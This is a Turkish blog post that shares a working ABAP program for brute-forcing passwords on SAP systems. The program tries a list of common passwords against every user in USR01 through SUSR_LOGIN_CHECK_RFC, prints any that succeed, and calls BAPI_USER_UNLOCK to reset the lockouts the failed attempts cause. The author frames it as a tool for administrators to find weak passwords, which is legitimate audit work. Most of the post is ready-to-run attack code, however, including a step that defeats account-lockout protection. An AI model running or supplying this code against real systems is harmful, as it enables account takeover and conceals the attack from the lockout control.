sap abap şifre kırma programı (sap pasword cracking)

merhaba arkadaşlar, sizinle bugün sap’nin açıklarını paylaşıyorum. brute force diye tabir ettiğimiz yöntemi kullanarak sap sistemindeki bütün kullanıcıların şifrelerinin elimizdeki şifre listesine uyup uymadığını kontrol edebiliriz. eğer kullanıcı kolay bir şifre kullanıyorsa bunu görebiliriz. bu programı daha çok sistem yöneticilerinin kullanımı için paylaşıyorum.

kodu kısaca anlatmak gerekirse önce kullanıcıların şifrelerini, elimdeki şifre listesi ile tek tek SUSR_LOGIN_CHECK_RFC fonksiyonunu kullanarak kontrol ediyorum daha sonra kullanıcı hesabı doğal olarak kilitlendiği için kilidi BAPI_USER_UNLOCK fonksiyonu ile açıyorum.

 
password

buyrun program burada;

 

*&---------------------------------------------------------------------*
*& Report  ZCRACK_USER_PASSWORD
*&
*&---------------------------------------------------------------------*
*&
*&
*&---------------------------------------------------------------------*
 
REPORT  zcrack_user_password.
 
DATA: lt_ret LIKE bapiret2 OCCURS 0 WITH HEADER LINE.
DATA: BEGIN OF lt_pass OCCURS 0,
        pass LIKE rsyst-bcode,
      END OF lt_pass.
 
DATA: lt_usr LIKE usr01 OCCURS 0 WITH HEADER LINE.
 
lt_pass-pass = '123456'. APPEND lt_pass.
lt_pass-pass = '1234567'. APPEND lt_pass.
lt_pass-pass = '12345678'. APPEND lt_pass.
lt_pass-pass = '123456789'. APPEND lt_pass.
lt_pass-pass = '1234567890'. APPEND lt_pass.
lt_pass-pass = '123qwe'. APPEND lt_pass.
lt_pass-pass = 'qwe123'. APPEND lt_pass.
lt_pass-pass = '1234qwer'. APPEND lt_pass.
lt_pass-pass = 'qwer1234'. APPEND lt_pass.
 
SELECT * FROM usr01 INTO TABLE lt_usr.
 
LOOP AT lt_usr.
 
 
  LOOP AT lt_pass.
    CALL FUNCTION 'SUSR_LOGIN_CHECK_RFC'
      EXPORTING
        bname                     = lt_usr-bname
        password                  = lt_pass-pass
        use_new_exception         = 1
      EXCEPTIONS
        wait                      = 1
        user_locked               = 2
        user_not_active           = 3
        password_expired          = 4
        wrong_password            = 5
        no_check_for_this_user    = 6
        password_attempts_limited = 7
        internal_error            = 8
        OTHERS                    = 9.
    IF sy-subrc EQ 0.
      WRITE: / lt_usr-bname, ' : ' , lt_pass-pass.
    ENDIF.
  ENDLOOP.
 
  CALL FUNCTION 'BAPI_USER_UNLOCK'
    EXPORTING
      username = lt_usr-bname
    TABLES
      return   = lt_ret.
 
ENDLOOP.